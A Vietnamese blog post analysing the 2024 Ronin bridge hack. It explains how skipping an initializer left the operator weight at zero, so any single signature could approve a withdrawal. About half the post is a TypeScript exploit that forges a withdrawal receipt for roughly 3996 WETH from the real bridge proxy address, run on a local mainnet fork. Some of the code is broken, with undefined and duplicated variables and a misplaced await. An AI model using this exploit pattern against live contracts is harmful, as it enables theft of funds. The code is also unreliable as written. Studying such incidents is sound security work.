Skip to main content

Vụ hack cầu nối Ronin

· 7 min read

Vụ tấn công cầu nối từ Ronin network đến ETH mainchain xảy ra ngày 2024-08-06.

Nguyên nhân là do cầu nối Ronin thực hiện 2 bản cập nhật V3 và V4, source code, mà quên không khởi tạo giá trị biến được thêm vào ở bản V3.

Cầu nối Ronin

Lỗi khi deploy

  • V3: quản lý operators chuyển từ contract Bridgemanager sang contract RoninBridge để tối ưu gas.
  • V4: thêm biến quản lý wethUnwrapper.
uint96 private _totalOperatorWeight;  // V3
mapping(address operator => uint96 weight) private _operatorWeight; // V3
WethUnwrapper public wethUnwrapper; // V4

Sau khi cập nhật cho proxy trỏ đến source code mới ở trên, người deploy đã quên không gọi hàm initializeV3 mà chỉ gọi hàm initializeV4.

Hàm initializeV3() có tác dụng khởi tạo giá trị cho biến mới được thêm vào _totalOperatorWeight_operatorWeight, trước đây được quản lý bởi contract BridgeManager.

function initializeV3() external reinitializer(3) {
IBridgeManager mainchainBridgeManager = IBridgeManager(getContract(ContractType.BRIDGE_MANAGER));
(, address[] memory operators, uint96[] memory weights) = mainchainBridgeManager.getFullBridgeOperatorInfos();

uint96 totalWeight;
for (uint i; i < operators.length; i++) {
_operatorWeight[operators[i]] = weights[i];
totalWeight += weights[i];
}
_totalOperatorWeight = totalWeight;
}

2 biến mới này được sử dụng để kiểm tra lệnh rút tiền đã được các tài khoản điều hành (operator) thông qua hay chưa. Do chưa được khởi tạo (bằng cách lấy giá trị từ contract Bridgemanager sang) nên biến mới _totalOperatorWeight có giá trị 0. Dẫn đến việc tính toán khối lượng vote tối thiểu cần khi rút tiền trả về 0.

uint256 minimumWeight;
(minimumWeight, locked) = _computeMinVoteWeight(receipt.info.erc, tokenAddr, quantity);
// => minimumWeight = 0

Do đó hacker chỉ cần gọi hàm submitWithdrawal với tham số là 1 cái Reciept với Id mới và 1 signature từ tài khoản bất kỳ là lệnh rút tiền sẽ được thông qua.

function submitWithdrawal(Transfer.Receipt calldata _receipt, Signature[] calldata _signatures) external virtual whenNotPaused returns (bool _locked) {
return _submitWithdrawal(_receipt, _signatures);
}

/**
* @dev Submits withdrawal receipt.
*
* Requirements:
* - The receipt kind is withdrawal.
* - The receipt is to withdraw on this chain.
* - The receipt is not used to withdraw before.
* - The withdrawal is not reached the limit threshold.
* - The signer weight total is larger than or equal to the minimum threshold.
* - The signature signers are in order.
*
* Emits the `Withdrew` once the assets are released.
*
*/
function _submitWithdrawal(Transfer.Receipt calldata receipt, Signature[] memory signatures) internal virtual returns (bool locked) {...}

// ../libraries/Transfer.sol
enum Kind {
Deposit,
Withdrawal
}

struct Receipt {
uint256 id;
Kind kind;
TokenOwner mainchain;
TokenOwner ronin;
TokenInfo info;
}

// ../libraries/LibTokenOwner.sol
struct TokenOwner {
address addr;
address tokenAddr;
uint256 chainId;
}

// ../libraries/LibTokenInfo.sol
enum TokenStandard {
ERC20,
ERC721,
ERC1155
}

struct TokenInfo {
TokenStandard erc;
// For ERC20: the id must be 0 and the quantity is larger than 0.
// For ERC721: the quantity must be 0.
uint256 id;
uint256 quantity;
}

Đoạn code check weight của từng chữ ký được cung cấp

for (uint256 i; i < signatures.length; i++) {
sig = signatures[i];
signer = ecrecover(receiptDigest, sig.v, sig.r, sig.s);
if (lastSigner >= signer) revert ErrInvalidOrder(msg.sig);

lastSigner = signer;

weight += _getWeight(signer);
// cả weight và minimumWeight = 0, lệnh rút được thông qua
if (weight >= minimumWeight) {
passed = true;
break;
}
}

Thực hiện tấn công

Mô phỏng cách thức thực hiện sử dụng typescript ethers v6.

Định nghĩa kiểu TokenInfo và hàm tính hash cho TokenInfo.

// Define the TokenStandard enum
enum TokenStandard {
ERC20 = 0,
ERC721 = 1,
ERC1155 = 2,
}

// Define the TokenInfo interface
interface TokenInfo {
erc: TokenStandard
id: bigint
quantity: bigint
}

// keccak256("TokenInfo(uint8 erc,uint256 id,uint256 quantity)");
const INFO_TYPE_HASH_SINGLE = ethers.getBytes("0x1e2b74b2a792d5c0f0b6e59b037fa9d43d84fbb759337f0112fcc15ca414fc8d")

// Function to hash TokenInfo
function hashTokenInfo(info: TokenInfo): string {
const encodedData = ethers.AbiCoder.default.encode(
["bytes32", "uint8", "uint256", "uint256"],
[INFO_TYPE_HASH_SINGLE, info.erc, info.id, info.quantity]
);
const digest = ethers.keccak256(encodedData);
return digest;
}

Định nghĩa kiểu TokenOwner và hàm tính hash cho tokenowner

// Define the TokenOwner interface
interface TokenOwner {
addr: string
tokenAddr: string
chainId: bigint
}

// keccak256("TokenOwner(address addr,address tokenAddr,uint256 chainId)");
const OWNER_TYPE_HASH = getBytes("0x353bdd8d69b9e3185b3972e08b03845c0c14a21a390215302776a7a34b0e8764");

// Function to hash TokenOwner
function hashTokenOwner(owner: TokenOwner): string {
const encodedData = ethers.AbiCoder.default.encode(
["bytes32", "address", "address", "uint256"],
[OWNER_TYPE_HASH, owner.addr, owner.tokenAddr, owner.chainId]
)
const digest = keccak256(encodedData);
return digest
}

Định nghĩa kiểu Receipt. Cài đặt hàm tính hash cho receipt, tính domainSeparator (có thể sử dụng luôn hằng số từ solidity contract) và tính receipt digest.


enum Kind {
Deposit,
Withdrawal
}

interface Receipt {
id: bigint
kind: Kind
mainchain: TokenOwner
ronin: TokenOwner
info: TokenInfo
}

// keccak256("Receipt(uint256 id,uint8 kind,TokenOwner mainchain,TokenOwner ronin,TokenInfo info)TokenInfo(uint8 erc,uint256 id,uint256 quantity)TokenOwner(address addr,address tokenAddr,uint256 chainId)");
const TYPE_HASH = ethers.getBytes("0xb9d1fe7c9deeec5dc90a2f47ff1684239519f2545b2228d3d91fb27df3189eea")

function hashReceipt(receipt: Receipt): string {
const hashedReceiptMainchain = hashTokenOwner(receipt.mainchain)
const hashedReceiptRonin = hashTokenOwner(receipt.ronin)
const hashedReceiptMainchain = hashTokenInfo(receipt.info)

/*
* return
* keccak256(
* abi.encode(
* TYPE_HASH,
* _receipt.id,
* _receipt.kind,
* Token.hash(_receipt.mainchain),
* Token.hash(_receipt.ronin),
* Token.hash(_receipt.info)
* )
* );
*/

const encodedData = AbiCoder.defaultAbiCoder().encode(
["bytes32", "uint256", "uint8", "bytes32", "bytes32", "bytes32"],
[TYPE_HASH, receipt.id, receipt.kind, hashedMainchain, hashedRonin, hashedInfo]
)
return keccak256(encodedData)
}

function getDomainSeparator(): string {
const encodedData = AbiCoder.defaultAbiCoder().encode(
['bytes32', 'bytes32', 'bytes32', 'uint256', 'address'],
[
keccak256(toUtf8Bytes('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)')),
keccak256(toUtf8Bytes('MainchainGatewayV2')),
keccak256(toUtf8Bytes('2')),
// chainId
1,
// Ronin bridge (proxy) address
'0x64192819ac13ef72bf6b5ae239ac672b43a9af08',
]
)
const separator = keccak256(encodedData)

return separator
}

// Function to compute the receipt digest
function receiptDigest(domainSeparator: string, receipt: Receipt): string {
// Convert the input to bytes
const domainSeparatorBytes = getBytes(domainSeparator)
const receiptHashBytes = getBytes(hashReceipt(receipt))

// Compute the EIP-712 hash
const digest = toTypedDataHash(domainSeparatorBytes, receiptHashBytes)

return digest
}

// Function to replicate the Solidity toTypedDataHash function
function toTypedDataHash(domainSeparator: Uint8Array, structHash: Uint8Array): string {
// Encode the data as in Solidity: '\x19\x01' + domainSeparator + structHash
const encodedData = concat([toUtf8Bytes('\x19\x01'), domainSeparator, structHash])

// Compute the keccak256 hash of the encoded data
const hash = keccak256(encodedData)

return hash
}

Tạo chữ ký điện tử cho receipt

// Function to sign the digest
async function signReceipt(receipt: Receipt): Promise<ethers.Signature> {
// account 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 - account test của foundry
const privateKey = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80'
const wallet = new Wallet(privateKey)
const domainSep = getDomainSeparator()
const digest = receiptDigest(domainSep, receipt)
const sig = await wallet.signingKey.sign(digest)

console.log(sig.v, sig.r, sig.s, wallet.address)

return sig
}

Tạo receipt và thực hiện gửi transaction

const receiver = 'your_address'
const receipt: Receipt = {
// chọn id không trung với các receipt đã xử lý trước đây
id: 166631n,
kind: Kind.Withdrawal,
mainchain: {
addr: receiver,
chainId: 1n,
// WETH on mainchain
tokenAddr: '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'
},
ronin: {
addr: '0x03e1f309d281b0af1a17ebb29e89136c05b67206',
chainId: 2020n,
// WETH on ronin
tokenAddr: '0xc99a6a985ed2cac1ef41640596c5a5f9f4e19ef5'
},
info: {
erc: TokenStandard.ERC20, // 0
id: 0n,
quantity: 3996093750000000000000n
}
}

const abi = [
'function submitWithdrawal((uint256 id, uint8 kind, (address addr, address tokenAddr, uint256 chainId) mainchain, (address addr, address tokenAddr, uint256 chainId) ronin, (uint8 erc, uint256 id, uint256 quantity) info) _receipt, (uint8 v, bytes32 r, bytes32 s)[] _signatures) external returns (bool)'
]
// Ronin bridge (proxy) contract
const contractAddress = '0x64192819ac13ef72bf6b5ae239ac672b43a9af08'
// Local provider
const provider = new JsonRpcProvider('http://127.0.0.1:8545')

function execute() {
// account 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
const signer = new Wallet('0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80', provider)
const sig = signReceipt(receipt)
const signatures = [
{
v: sig.v,
r: sig.r,
s: sig.s
}
]

const iface = new Interface(abi)
const data = iface.encodeFunctionData("submitWithdrawal", [receipt, signatures])
const tx = await signer.sendTransaction({to: contractAddress, data, value: 0})

const res = await tx.wait()
console.log('Transaction was mined in block:', res?.blockNumber)
}

Để tái hiện cuộc tấn công chúng ta có thể dùng tool anvil của foundry để chạy localnode 'http://127.0.0.1:8545', chọn blocknumber ngay trước thời điểm xảy ra

anvil --fork-url https://mainnet.chainnodes.org/your-key --fork-block-number 20468678